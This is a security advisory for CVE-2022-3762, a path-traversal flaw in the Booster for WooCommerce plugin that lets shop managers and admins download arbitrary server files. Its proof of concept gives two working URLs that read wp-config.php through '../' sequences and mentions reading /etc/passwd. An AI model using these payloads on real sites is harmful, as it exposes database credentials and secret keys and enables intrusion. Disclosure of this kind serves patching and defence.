Booster for WooCommerce – ShopManager+ Arbitrary File Download | CVE 2022-3762

Description

The plugins do not validate files to download in some of its modules, which could allow ShopManager and Admin to download arbitrary files from the server even when they are not supposed to be able to (for example in multisite)

Proof of Concept

Enable the "Checkout File Upload" module and open the following URL as a shop manager or admin: https://example.com/wp-admin/?wcj_download_checkout_file_admin=../../../../../wp-config.php&post=1&wcj_checkout_file_number=1 (the post and wcj_checkout_file_number parameters are irrelevant)

Enable the "Product Init Fields" module and open the following URL as a shop manager or admin: http://example.com/wp-admin/?wcj_download_file=../../../../../wp-config.php

System files such as /etc/passwd can also be retrieved that way